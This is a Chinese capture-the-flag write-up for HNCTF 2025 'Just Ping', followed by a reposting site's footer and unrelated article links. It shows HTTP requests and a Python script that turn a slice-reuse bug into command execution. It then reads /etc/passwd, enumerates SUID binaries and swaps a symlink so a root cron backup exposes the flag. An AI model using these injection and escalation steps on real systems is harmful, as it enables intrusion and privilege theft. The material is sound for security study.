HNCTF 2025 Just Ping Write-up

请添加图片描述

part 1

路由部分主逻辑逆向

package mainimport ("net/http"
)func main() {// 注册路由和处理函数// 当访问 "/api/ping" 路径时，调用 pingHandler 函数处理请求http.HandleFunc("/api/ping", pingHandler)// 注册开发测试API路由// 当访问 "/api/testDevelopApi" 路径时，调用 testDevelopApiHandler 函数http.HandleFunc("/api/testDevelopApi", testDevelopApiHandler)// 创建静态文件服务器// 使用当前目录下的"static"文件夹作为静态文件根目录fileServer := http.FileServer(http.Dir("static"))// 注册静态文件处理路由// 所有以"/static/"开头的请求都会移除此前缀后，再在静态文件目录中查找文件// 例如：请求 "/static/css/style.css" 会映射到 "static/css/style.css"http.Handle("/static/", http.StripPrefix("/static/", fileServer))// 启动HTTP服务器并监听8080端口// nil 表示使用默认的多路复用器 (DefaultServeMux)err := http.ListenAndServe(":8080", nil)// 处理服务器启动错误// 如果监听失败（如端口被占用），触发panic终止程序if err != nil {panic(err)}
}// ping接口处理函数
// 用于响应健康检查或测试请求
func pingHandler(w http.ResponseWriter, r *http.Request) {// 实际实现应包含业务逻辑，例如：w.WriteHeader(http.StatusOK)w.Write([]byte("pong"))
}// 开发测试API处理函数
// 用于开发阶段的功能测试
func testDevelopApiHandler(w http.ResponseWriter, r *http.Request) {// 实际实现应包含开发测试逻辑，例如：// - 参数解析// - 业务处理// - 返回测试数据
}

/api/ping逆向

package handleimport ("bufio""bytes""context""net/http""net/textproto""os/exec""runtime""sync""time""moran/goweb1/utils"
)// PingHandler 网络连通性测试处理器
// 用于执行ICMP ping测试目标主机（支持IPv4/IPv6）
func PingHandler(w http.ResponseWriter, r *http.Request) {// 1. 解析URL查询参数queryParams := r.URL.Query()// 2. 获取"target"参数值（目标主机）target := queryParams.Get("target")// 3. 检查目标是否为空if target == "" {http.Error(w, "target cant be null", http.StatusBadRequest)return}// 4. 验证目标格式（IP/域名）if !utils.IsValidTarget(target) {http.Error(w, "target error", http.StatusBadRequest)return}// 5. 从对象池获取命令参数切片cmdArgsPtr := utils.CommandStringPool.Get().(*[]string)defer func() {// 重置并放回对象池*cmdArgsPtr = (*cmdArgsPtr)[:0]utils.CommandStringPool.Put(cmdArgsPtr)}()// 6. 根据操作系统构造ping命令var cmd *exec.Cmdif runtime.GOOS == "windows" {*cmdArgsPtr = append(*cmdArgsPtr, "-n", "4", target) // Windows: ping -n 4 <target>cmd = exec.Command("ping", *cmdArgsPtr...)} else {*cmdArgsPtr = append(*cmdArgsPtr, "-c", "4", target) // Linux/Mac: ping -c 4 <target>cmd = exec.Command("ping", *cmdArgsPtr...)}// 7. 获取命令标准输出管道stdoutPipe, err := cmd.StdoutPipe()if err != nil {http.Error(w, "server error", http.StatusInternalServerError)return}// 8. 设置响应头w.Header().Set("Content-Type", "text/plain; charset=utf-8")w.Header().Set("X-Content-Type-Options", "nosniff")// 9. 启动命令if err := cmd.Start(); err != nil {http.Error(w, "command exec error", http.StatusInternalServerError)return}// 10. 流式读取命令输出并实时写入响应scanner := bufio.NewScanner(stdoutPipe)scanner.Buffer(make([]byte, 0, 64*1024), 1024*1024) // 1MB缓冲区for scanner.Scan() {// 逐行写入响应if _, err := w.Write(append(scanner.Bytes(), '\n')); err != nil {break // 客户端断开连接时终止}// 手动刷新响应流if f, ok := w.(http.Flusher); ok {f.Flush()}}// 11. 等待命令执行完成（带超时）done := make(chan error, 1)go func() { done <- cmd.Wait() }()select {case err := <-done:if err != nil {http.Error(w, "command wait error", http.StatusInternalServerError)}case <-time.After(10 * time.Second): // 10秒超时cmd.Process.Kill()http.Error(w, "command timeout", http.StatusGatewayTimeout)}
}

/api/testDevelopApi逆向

package handleimport ("net/http""net/url""github.com/google/shlex""moran/goweb1/utils"
)// DevelopmentHandler 开发环境命令执行处理器
// 用于接收并执行客户端发送的命令（主要用于开发环境调试）
func DevelopmentHandler(w http.ResponseWriter, r *http.Request) {// 1. 解析URL查询参数queryParams := r.URL.Query()// 2. 获取"cmd"参数值cmdStr := queryParams.Get("cmd")// 3. 检查命令是否为空if cmdStr == "" {// 返回400错误：命令不能为空http.Error(w, "cmd cant be null", http.StatusBadRequest)return}// 4. 从对象池获取命令切片（减少内存分配）cmdSlicePtr := utils.CommandStringPool.Get().(*[]string)defer func() {// 使用后重置切片并放回对象池*cmdSlicePtr = (*cmdSlicePtr)[:0]utils.CommandStringPool.Put(cmdSlicePtr)}()// 5. 使用shlex进行命令解析（支持带引号的参数）args, err := shlex.Split(cmdStr)if err != nil {// 返回400错误：命令解析失败http.Error(w, "command error", http.StatusBadRequest)return}// 6. 检查参数数量限制（最大4个参数）if len(args) > 4 {// 返回400错误：参数过多http.Error(w, "server error", http.StatusBadRequest)return}// 7. 执行命令（此处仅为示例，实际应执行命令）// TODO: 此处应添加实际命令执行逻辑// 8. 返回执行成功响应w.Write([]byte("Command executed successfully.\n"))
}

接下来本地调试看看

 % sudo lsof -i -P -n | grep LISTEN
[sudo] a5rz 的密码： 
systemd-r  753 systemd-resolve   14u  IPv4  17341      0t0  TCP 127.0.0.53:53 (LISTEN)
sshd      1094            root    3u  IPv4  13828      0t0  TCP *:22 (LISTEN)
sshd      1094            root    4u  IPv6  13830      0t0  TCP *:22 (LISTEN)
cupsd     1095            root    6u  IPv6  19744      0t0  TCP [::1]:631 (LISTEN)
cupsd     1095            root    7u  IPv4  19745      0t0  TCP 127.0.0.1:631 (LISTEN)
linux_ser 4103            a5rz    3u  IPv4  41547      0t0  TCP *:23946 (LISTEN)
goweb1    4163            a5rz    3u  IPv6  39606      0t0  TCP *:8080 (LISTEN)
a5rz@a5rz-virtual-machine ~/Desktop/server% sudo strace -p 4163 -f -e execve

发现测试路由并不执行命令, 他会莫名其妙的在执行正常路由时被拼接。

a5rz@a5rz-virtual-machine ~/Desktop/server% sudo strace -p 4163 -f -e execve
strace: Process 4163 attached with 6 threads
[pid  4167] --- SIGURG {si_signo=SIGURG, si_code=SI_TKILL, si_pid=4163, si_uid=1000} ---
strace: Process 5101 attached
[pid  5101] execve("/usr/bin/ls", ["ls", "127.0.0.1"], 0xc000094fc0 /* 54 vars */) = 0
[pid  4163] --- SIGURG {si_signo=SIGURG, si_code=SI_TKILL, si_pid=4163, si_uid=1000} ---
[pid  5101] +++ exited with 2 +++
[pid  4163] --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=5101, si_uid=1000, si_status=2, si_utime=0, si_stime=0} ---

问题似乎在这里

	cmdSlicePtr := utils.CommandStringPool.Get().(*[]string)defer func() {// 使用后重置切片并放回对象池*cmdSlicePtr = (*cmdSlicePtr)[:0]utils.CommandStringPool.Put(cmdSlicePtr)}()

此处存在 UAF *cmdSlicePtr = (*cmdSlicePtr)[:0]，似乎不会清理缓冲区的内容 append(*cmdArgsPtr, "-c", "4", target)，错误附加了他

尝试

GET /api/testDevelopApi?cmd=ls%20%2f%20%2f%20%2f HTTP/1.1
Host: 27.25.151.198:33940
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

多次发送

GET /api/ping?target=127.0.0.1 HTTP/1.1
Host: 27.25.151.198:33940
Accept-Language: zh-CN,zh;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: */*
Referer: http://27.25.151.198:33940/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
X-Content-Type-Options: nosniff
Date: Sat, 07 Jun 2025 01:53:43 GMT
Content-Length: 232/:
app
bin
boot
dev
etc
flag
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
start.sh
sys
tmp
usr
var/:
app
bin
boot
dev
etc
flag
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
start.sh
sys
tmp
usr
var
command wait error

get flag

cat /flag / /

part 2

需拿到root的Flag，Enjoy

/:
total 60
drwxr-xr-x   2 root root 4096 May 28 12:33 app
lrwxrwxrwx   1 root root    7 May 20 00:00 bin -> usr/bin
drwxr-xr-x   2 root root 4096 May  9 14:50 boot
drwxr-xr-x   5 root root  360 Jun  7 01:56 dev
drwxr-xr-x   1 root root 4096 Jun  7 01:56 etc
drwxr-xr-x   1 root root 4096 May 29 09:52 home
lrwxrwxrwx   1 root root    7 May 20 00:00 lib -> usr/lib
lrwxrwxrwx   1 root root    9 May 20 00:00 lib64 -> usr/lib64
drwxr-xr-x   2 root root 4096 May 20 00:00 media
drwxr-xr-x   2 root root 4096 May 20 00:00 mnt
drwxr-xr-x   2 root root 4096 May 20 00:00 opt
dr-xr-xr-x 876 root root    0 Jun  7 01:56 proc
drwx------   1 root root 4096 Jun  7 01:56 root
drwxr-xr-x   1 root root 4096 Jun  7 01:56 run
lrwxrwxrwx   1 root root    8 May 20 00:00 sbin -> usr/sbin
drwxr-xr-x   2 root root 4096 May 20 00:00 srv
-rwxr-xr-x   1 root root  116 May 29 09:50 start.sh
dr-xr-xr-x  13 root root    0 Jun  7 01:56 sys
drwxrwxrwt   1 root root 4096 Jun  7 02:12 tmp
drwxr-xr-x   1 root root 4096 May 20 00:00 usr
drwxr-xr-x   1 root root 4096 May 28 12:33 var
command wait error

start.sh

#!/bin/bashif [[ -f /flag.sh ]]; thensource /flag.shrm -f /flag.sh
fisu - enjoy -c "cd /var/web && ./goweb1"
command wait error

all

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
Debian-exim:x:100:102::/var/spool/exim4:/usr/sbin/nologin
enjoy:x:1000:1000::/home/enjoy:/bin/sh

我得想办法执行更长的命令

sh -c "ls" /

sh -c "find / -user root -perm -4000 -print 2>/dev/null" /

找找提权

/usr/sbin/exim4
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/umount
/usr/bin/mount
/usr/bin/su
/usr/bin/chsh
/usr/bin/gpasswd

sh -c "/usr/sbin/exim4 --version" /

2025 邮件服务器?

Exim version 4.96 #2 built 22-Mar-2025 10:25:14
Copyright (c) University of Cambridge, 1995 - 2018
(c) The Exim Maintainers and contributors in ACKNOWLEDGMENTS file, 2007 - 2022
Berkeley DB: Berkeley DB 5.3.28: (September  9, 2013)
Support for: crypteq iconv() IPv6 GnuTLS TLS_resume move_frozen_messages DANE DKIM DNSSEC Event I18N OCSP PIPECONNECT PRDR Queue_Ramp SOCKS SRS TCP_Fast_Open
Lookups (built-in): lsearch wildlsearch nwildlsearch iplsearch cdb dbm dbmjz dbmnz dnsdb dsearch nis nis0 passwd
Authenticators: cram_md5 external plaintext
Routers: accept dnslookup ipliteral manualroute queryprogram redirect
Transports: appendfile/maildir/mailstore autoreply lmtp pipe smtp
Fixed never_users: 0
Configure owner: 0:0
Size of off_t: 8
Configuration file search path is /etc/exim4/exim4.conf:/var/lib/exim4/config.autogenerated
Configuration file is /var/lib/exim4/config.autogenerated

2025内核?

Linux hnctf-7ef39a61662c4f2c 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64 GNU/Linux

定时任务？

-rw-r--r-- 1 root root 1042 Mar  2  2023 /etc/crontab/etc/cron.d:
total 4
-rw-r--r-- 1 root root 201 Mar  5  2023 e2scrub_all/etc/cron.daily:
total 16
-rwxr-xr-x 1 root root 1478 May 25  2023 apt-compat
-rwxr-xr-x 1 root root  123 Mar 27  2023 dpkg
-rwxr-xr-x 1 root root 4722 Jun 17  2024 exim4-base/etc/cron.hourly:
total 0/etc/cron.monthly:
total 0/etc/cron.weekly:
total 0/etc/cron.yearly:
total 0

是 Exim提权？这个服务看着很怪

from codes.WEB.WebAttack import WebAttack  
from codes.WEB.base import *  
from codes.Reveres.Universal_disassembler.VM import VM  key = 'key3key'  
pay = 'ls -l /etc/exim4/.conf;ls -l /var/lib/exim4/config.autogenerated'  pay = url_encode(f'sh -c "echo {key};{pay}" /')  io1 =WebAttack(f"""  
GET /api/testDevelopApi?cmd={pay} HTTP/1.1Host: 27.25.151.198:33355  """)  io1.send()  io2 = WebAttack("""  
GET /api/ping?target=a.com HTTP/1.1  
Host: 27.25.151.198:33355  """)  while True:  res = io2.send()  if key in res.get_body():  print(res.get_body())  break

读出来了但是好像没啥用

有个漏洞

CVE - CVE-2025-30232漏洞

找不到exp,应该不会让现场复现pwn漏洞吧？

Exploit Database Search

Exim AUTH Out-of-bounds Write 远程代码执行… ·CVE-2023-42115 漏洞 ·GitHub Advisory Database （GitHub 咨询数据库） ·GitHub的

能找到的全是pwn漏洞,一个有概念验证代码的都没有

再读一读，文件看看

cat: ./static/css: Is a directory
<!DOCTYPE html>
<html lang="zh-CN">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Ping 测试工具</title><link href="./css/bootstrap.min.css" rel="stylesheet"><style>body {background-color: #f8f9fa;padding-top: 2rem;}.container {max-width: 800px;}.card {border-radius: 10px;box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);}.card-header {background-color: #0d6efd;color: white;border-radius: 10px 10px 0 0 !important;}#output {height: 400px;overflow-y: auto;background-color: #212529;color: #e9ecef;font-family: 'Courier New', Courier, monospace;padding: 15px;border-radius: 5px;white-space: pre-wrap;}.btn-primary {background-color: #0d6efd;border-color: #0d6efd;}.btn-primary:hover {background-color: #0b5ed7;border-color: #0a58ca;}.form-control:focus {border-color: #86b7fe;box-shadow: 0 0 0 0.25rem rgba(13, 110, 253, 0.25);}</style>
</head>
<body><div class="container"><div class="card"><div class="card-header text-center"><h2>Ping 测试工具</h2></div><div class="card-body"><div class="mb-3"><label for="targetInput" class="form-label">输入 IP 地址或域名</label><div class="input-group"><input type="text" class="form-control" id="targetInput" placeholder="例如: 8.8.8.8 或 google.com"><button class="btn btn-primary" type="button" id="pingButton">开始 Ping</button>
<!--                        <button class="btn btn-success" type="button" id="testApiButton">测试API</button>--><button class="btn btn-danger" type="button" id="stopButton" disabled>停止</button></div></div><div class="mb-3"><label class="form-label">Ping 结果</label><div id="output"></div></div></div><div class="card-footer text-muted">工具将实时显示 ping 命令的输出结果</div></div></div><script>document.addEventListener('DOMContentLoaded', function() {const targetInput = document.getElementById('targetInput');const pingButton = document.getElementById('pingButton');const stopButton = document.getElementById('stopButton');const output = document.getElementById('output');let controller = null;// 自动滚动到底部function scrollToBottom() {output.scrollTop = output.scrollHeight;}// 清除输出function clearOutput() {output.textContent = '';}// 开始 pingpingButton.addEventListener('click', async function() {const target = targetInput.value.trim();if (!target) {alert('请输入有效的 IP 地址或域名');return;}clearOutput();pingButton.disabled = true;stopButton.disabled = false;targetInput.disabled = true;// 使用 AbortController 来控制请求controller = new AbortController();const signal = controller.signal;try {const response = await fetch(`/api/ping?target=${encodeURIComponent(target)}`, {signal});if (!response.ok) {throw new Error(`请求失败: ${response.status}`);}const reader = response.body.getReader();const decoder = new TextDecoder();while (true) {const { done, value } = await reader.read();if (done) break;const text = decoder.decode(value);output.textContent += text;scrollToBottom();}} catch (error) {if (error.name !== 'AbortError') {output.textContent += `\n错误: ${error.message}\n`;scrollToBottom();}} finally {pingButton.disabled = false;stopButton.disabled = true;targetInput.disabled = false;controller = null;}});// 停止 pingstopButton.addEventListener('click', function() {if (controller) {controller.abort();}pingButton.disabled = false;stopButton.disabled = true;targetInput.disabled = false;});// 按回车键触发 pingtargetInput.addEventListener('keypress', function(e) {if (e.key === 'Enter' && !pingButton.disabled) {pingButton.click();}});});// 测试开发APIdocument.getElementById('testApiButton').addEventListener('click', async function() {const cmd = targetInput.value.trim();if (!cmd) {alert('请输入测试命令');return;}clearOutput();testApiButton.disabled = true;targetInput.disabled = true;try {const response = await fetch(`/api/testDevelopApi?cmd=${encodeURIComponent(cmd)}`);if (!response.ok) {throw new Error(`请求失败: ${response.status}`);}const data = await response.text();output.textContent = data;scrollToBottom();} catch (error) {output.textContent = `错误: ${error.message}`;scrollToBottom();} finally {testApiButton.disabled = false;targetInput.disabled = false;}});</script><script src="./js/bootstrap.bundle.min.js"></script>
</body>
</html>cat: ./static/js: Is a directory

查找 root 拥有且所有人可写的文件?

find / -user root -perm -4000 -perm -o=w 2>/dev/null

提示: root有一个定时任务每分钟都会执行

ps top 全无

定时任务找不到，被藏了？

linux-隐藏你的crontab后门-腾讯云开发者社区-腾讯云

还是找不到

ls /proc | grep '^[0-9]'

cmd line 读不出来,id一直在变,延迟太高窗口期根本不够

ps top 都没有

新提示: root给出了它的一个脚本，在附件中哦

#!/bin/bashif [ ! -f "backup" ]; thenexit 1
fiACTUAL_MD5=$(md5sum "backup" | cut -d' ' -f1)if [ "$ACTUAL_MD5" = "18ed919aada0f7adca8802acf7b8a4d5" ]; thenbackupexit 0
elseexit 1
fi

找到 backup

pay = """find / -type f -name backup 2>/dev/null"""

/usr/local/etc/backup

-rwxrwxrwx 1 root root 2706127 May 28 12:32 /usr/local/etc/backup

pay = """base64 /usr/local/etc/backup > /tmp/backup_encoded.b64;cat /tmp/backup_encoded.b64"""

ida 找 main.main

package mainimport ("os""path/filepath"
)func main() {// 获取可执行文件路径execPath, err := os.Executable()if err != nil {os.Exit(1)}// 获取可执行文件所在目录execDir := filepath.Dir(execPath)// 获取绝对路径absPath, err := filepath.Abs(execDir)if err != nil {os.Exit(1)}// 构建备份列表文件路径backupListPath := filepath.Join(absPath, "../backupList")// 读取备份列表backupList, err := readBackupList(backupListPath)if err != nil {os.Exit(2)}// 创建备份err = createBackup(backupList, "/var/backups/backup.zip")if err != nil {os.Exit(3)}
}func readBackupList(listPath string) ([]string, error) {// 读取文件内容content, err := os.ReadFile(listPath)if err != nil {return nil, err}// 如果文件为空，返回空切片if len(content) == 0 {return []string{}, nil}// 将字节内容转换为字符串contentStr := string(content)// 按行分割内容lines := strings.Split(contentStr, "\n")// 创建结果切片var result []string// 处理每一行for _, line := range lines {// 去除每行首尾的空白字符trimmedLine := strings.TrimSpace(line)// 如果去除空白后行不为空，则添加到结果中if trimmedLine != "" {result = append(result, trimmedLine)}}return result, nil
}func createBackup(backupList []string, outputPath string) error {// 检查输出文件是否存在，如果存在则删除if _, err := os.Stat(outputPath); err == nil {if err := os.Remove(outputPath); err != nil {return err}}// 创建新的zip文件zipFile, err := os.OpenFile(outputPath, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0666)if err != nil {return err}defer zipFile.Close()// 创建一个带缓冲的writerbufWriter := bufio.NewWriterSize(zipFile, 4096)defer bufWriter.Flush()// 创建zip writerzipWriter := zip.NewWriter(bufWriter)defer zipWriter.Close()// 遍历备份列表for _, path := range backupList {err := filepath.Walk(path, func(filePath string, info os.FileInfo, err error) error {if err != nil {return err}// 跳过目录if info.IsDir() {return nil}// 创建zip文件头header, err := zip.FileInfoHeader(info)if err != nil {return err}// 设置压缩方法header.Method = zip.Deflate// 创建zip文件条目writer, err := zipWriter.CreateHeader(header)if err != nil {return err}// 打开源文件file, err := os.Open(filePath)if err != nil {return err}defer file.Close()// 复制文件内容到zip_, err = io.Copy(writer, file)return err})if err != nil {return err}}return nil
}

不可写

-rw-r--r-- 1 root root 13 May 28 09:58 /usr/local/backupList

看内容

/root/healthy

base64 /var/backups/backup.zip > /tmp/backup.b64;cat /tmp/backup.b64

里面只有 “OK”

ls -l /root/healthy/healthy

被禁止

ls -l /usr/local/etc/

条件竞争？

利用sh反复交换两个可执行文件的位置创造一个窗口期?

交换?如果我将移动可执行文件并创建其链接呢,其相对路径将会改变?

pay = """mkdir -p /tmp/test;cp /usr/local/etc/backup /tmp/test/backup;ln /tmp/test/backup /usr/local/etc/backup;echo \\"/root/flag\\" > /tmp/backupList"""

失败,发现是ln覆盖不了原文件,改移动

pay = """mv /usr/local/etc/backup /tmp/test/backup"""

-rwxr-xr-x 1 enjoy enjoy 2706127 Jun 7 13:25 /usr/local/etc/backup

next->

pay = """mkdir -p /tmp/test;mv /usr/local/etc/backup /tmp/test/backup;ln -s /tmp/test/backup /usr/local/etc/backup;echo \\"/root/flag\\" > /tmp/backupList;md5sum \\"/usr/local/etc/backup\\\""""

check_pass

18ed919aada0f7adca8802acf7b8a4d5  /usr/local/etc/backup

get flag ->

base64 /var/backups/backup.zip > /tmp/backup.b64;cat /tmp/backup.b64

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.pswp.cn/pingmian/84629.shtml

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈email:809451989@qq.com，一经查实，立即删除！

相关文章

OpenCV CUDA模块中用于稠密光流计算的 TV-L1（Dual TV-L1）算法类cv::cuda::OpticalFlowDual_TVL1

OpenCV CUDA模块中用于稠密光流计算的 TV-L1（Dual TV-L1）算法类cv::cuda::OpticalFlowDual_TVL1

操作系统&#xff1a;ubuntu22.04 OpenCV版本&#xff1a;OpenCV4.9 IDE:Visual Studio Code 编程语言&#xff1a;C11 算法描述 cv::cuda::OpticalFlowDual_TVL1类是基于变分优化方法的稠密光流算法实现&#xff08;Dual TV-L1 光流模型&#xff09;&#xff0c;在 GPU 上加…
阅读更多...
ThreadPoolTaskExecutor+CompletableFuture实现多线程异步数据同步和自定义线程池监控和动态调整实现

ThreadPoolTaskExecutor+CompletableFuture实现多线程异步数据同步和自定义线程池监控和动态调整实现

前言 ThreadPoolTaskExecutor是Spring框架提供的一个线程池实现&#xff0c;它是对Java标准库中ThreadPoolExecutor的封装&#xff0c;提供了更便捷的配置和集成方式&#xff0c;特别适合在Spring环境中使用。相关线程池概念见线程&线程池相关 CompletableFuture 是 Java…
阅读更多...
一篇文章理解js闭包和作用于原理

一篇文章理解js闭包和作用于原理

一、js闭包的作用原理 JS闭包是指内部函数访问外部函数变量的机制&#xff0c;常用于数据封装和模块化。典型应用包括创建私有变量、解决循环中的异步问题、实现函数柯里化等。案例分析展示了闭包在计数器、防抖函数等场景的使用&#xff0c;同时揭示了可能的内存泄漏风险。正…
阅读更多...
GUI丝滑教程-python tinker

GUI丝滑教程-python tinker

在 Tkinter GUI 应用中&#xff0c;线程可以帮助你在后台执行长时间运行的任务&#xff0c;而不阻塞界面响应。下面是一些技巧&#xff0c;帮助你在使用线程时避免 Tkinter 界面卡顿的问题。 为什么 Tkinter 界面会卡顿&#xff1f; Tkinter 使用 主线程 来处理 UI 更新&…
阅读更多...
第一部分-数据通信网络基础

第一部分-数据通信网络基础

目录 一、什么是网络通信&#xff1f; 二、网络通信设备的基本识别 1.双绞线 2.集线器&#xff08;物理层设备&#xff09; 3.中继器&#xff08;物理层设备&#xff09; 4.接入交换机 5.汇聚交换机 6.核心交换机 7.路由器 8.无线路由器 9.光猫 一、什么是网络通信&#xff1f;…
阅读更多...
windows电脑解决笔记本搜索不到wifi问题

windows电脑解决笔记本搜索不到wifi问题

windows笔记本电脑明明打开了wifi功能&#xff0c;却搜索不到wifi&#xff0c;此问题可能是网络适配器被禁用的原因导致&#xff0c;通过以下方法也许能解决&#xff0c;无需重启电脑 1、右键点击网络或wifi图标&#xff0c;打开界面”网络和internet“ 2、选择”高级网络设置…
阅读更多...
C# 界面检测显示器移除并在可用显示器上显示

C# 界面检测显示器移除并在可用显示器上显示

C# 检测显示器被移除&#xff0c;将界面在当前可用的显示器上显示&#xff0c;避免程序在任务栏点击无响应。 using System; using System.Linq; using System.Windows.Forms;public class MonitorWatcher : IDisposable {private readonly Form _targetForm;private Screen …
阅读更多...
JAVA实战开源项目：青年公寓服务平台 (Vue+SpringBoot) 附源码

JAVA实战开源项目：青年公寓服务平台 (Vue+SpringBoot) 附源码

本文项目编号 T 233 &#xff0c;文末自助获取源码 \color{red}{T233&#xff0c;文末自助获取源码} T233&#xff0c;文末自助获取源码 目录 一、系统介绍二、数据库设计三、配套教程3.1 启动教程3.2 讲解视频3.3 二次开发教程 四、功能截图五、文案资料5.1 选题背景5.2 国内…
阅读更多...
阿里云服务状态监控:实时掌握云服务健康状况

阿里云服务状态监控:实时掌握云服务健康状况

前言 在云计算时代，企业和开发者越来越依赖云服务提供商的基础设施和服务。当我们的应用部署在云上，服务的可用性和稳定性就与云服务提供商息息相关。一旦云服务出现故障或维护，可能会对我们的业务造成直接影响。因此，实时了解云服务的运行状态变得尤为重要。阿里云作为国…
阅读更多...
使用VSCode开发FastAPI指南

使用VSCode开发FastAPI指南

1概述 FastAPI 是一个现代的高性能 Web 框架&#xff0c;用于使用 Python 构建 API。它旨在让开发者轻松快速高效地构建 API&#xff0c;同时提供 API 的自动验证、序列化和文档记录等功能&#xff0c;使其成为构建 Web 服务和微服务的热门选择。 在这个 FastAPI 教程中&#…
阅读更多...
2025年硬件实习/秋招面试准备

2025年硬件实习/秋招面试准备

前言 暑期即将到来&#xff0c;有很多研一研二以及大三大四的同学准备硬件类&#xff08;硬件研发、嵌入式硬件、layout、电源设计、射频、硬件测试、工艺、FAE&#xff09;的实习或秋招。鉴于此&#xff0c;总结一下网友们秋招、实习中的硬件高频考点&#xff0c;并分析他们是…
阅读更多...
VSCode - Trae 插件关闭弹出框代码补全

VSCode - Trae 插件关闭弹出框代码补全

Trae 插件关闭弹出框代码补全 弹出框代码补全与非弹出框代码补全 如下是弹出框代码补全 如下是非弹出框代码补全 关闭 / 启用弹出框代码补全 点击 【管理】&#xff08;小齿轮&#xff09; -> 点击 【设置】 取消勾选&#xff08;如果需要启用&#xff0c;则勾选即可&…
阅读更多...
Elasticsearch从安装到实战、kibana安装以及自定义IK分词器/集成整合SpringBoot详细的教程ES（三）

Elasticsearch从安装到实战、kibana安装以及自定义IK分词器/集成整合SpringBoot详细的教程ES（三）

DSL官方地址&#xff1a; DSL查询分类 Elasticsearch提供了基于JSON的DSL&#xff08;https://www.elastic.co/docs/explore-analyze/query-filter/languages/querydsl&#xff09;来定义查询。常见的查询类型包括&#xff1a; 查询所有&#xff1a;查询出所有数据&#xff0…
阅读更多...
我们来学mysql -- keepalive主从高可用

我们来学mysql -- keepalive主从高可用

keepalive主从高可用 简明扼要安装KP场景“高可用”配置主keepalived.conf从keepalived.confmysql_check.sh 高可用验证KP运行情况通过vip连接mysqlvip连接上创建数据库关闭主库所在服务器的KPvip连接上再次创建数据库 结尾 简明扼要 搭建mysql的主从八股文如是&#xff1a;主…
阅读更多...
Compose笔记(二十六)--DatePicker

Compose笔记(二十六)--DatePicker

这一节主要了解一下Compose中的DatePicker,DatePicker是一个用于选择日期的组件&#xff0c;它提供了直观的界面让用户可以通过日历视图或直接输入来选择年、月、日。我们在开发中时常会用到日期选择器&#xff0c;简单总结如下: API: DatePickerDialog onDismissRequest&…
阅读更多...
【靶场】upload-labs-文件上传漏洞闯关

【靶场】upload-labs-文件上传漏洞闯关

提示：文章写完后，目录可以自动生成，如何生成可参考右边的帮助文档 文章目录 前言1.第一关1.保存html页面2.修改页面html3.访问修改后的本地html文件4.上传php文件5.访问上传的php2.第二关1.抓上传包修改文件类型2.上传成功3.第三关1.phtml php3会被解析为php原理2.上传成功4…
阅读更多...
基于 Transformer RoBERTa的情感分类任务实践总结之四——PGM、EMA

基于 Transformer RoBERTa的情感分类任务实践总结之四——PGM、EMA

整合了以下五大核心技术&#xff1a;R-Drop、PGM 对抗训练、EMA、标签平滑、CosineAnnealing 学习率调度。 1. R-Drop&#xff08;Regularized Dropout&#xff09; 原理&#xff1a;同一个样本做两次前向传播&#xff08;同 dropout mask&#xff09;&#xff0c;计算两次输…
阅读更多...
录制mp4 rospy

录制mp4 rospy

ros 预览摄像头 #!/usr/bin/env python import rospy from sensor_msgs.msg import Image from cv_bridge import CvBridge import cv2# 初始化 bridge bridge CvBridge()def image_callback(msg):# 将ROS图像消息转换为OpenCV图像cv_image bridge.imgmsg_to_cv2(msg, desir…
阅读更多...
超简单部署离线语音合成TTS和语音识别

超简单部署离线语音合成TTS和语音识别

一篇文章讲清楚超简单 离线语音合成TTS 和 离线语音识别 系统部署 本文只介绍两个轻量级的 语音合成用piper, 语音识别用vosk 部署简单,效果勉强 语音合成 推荐 piper (其他没用过) 安装 linux下安装 pip install piper-tts下载模型(63M) 中文模型下载 zh_CN-huayan-medi…
阅读更多...
【算力网】

【算力网】

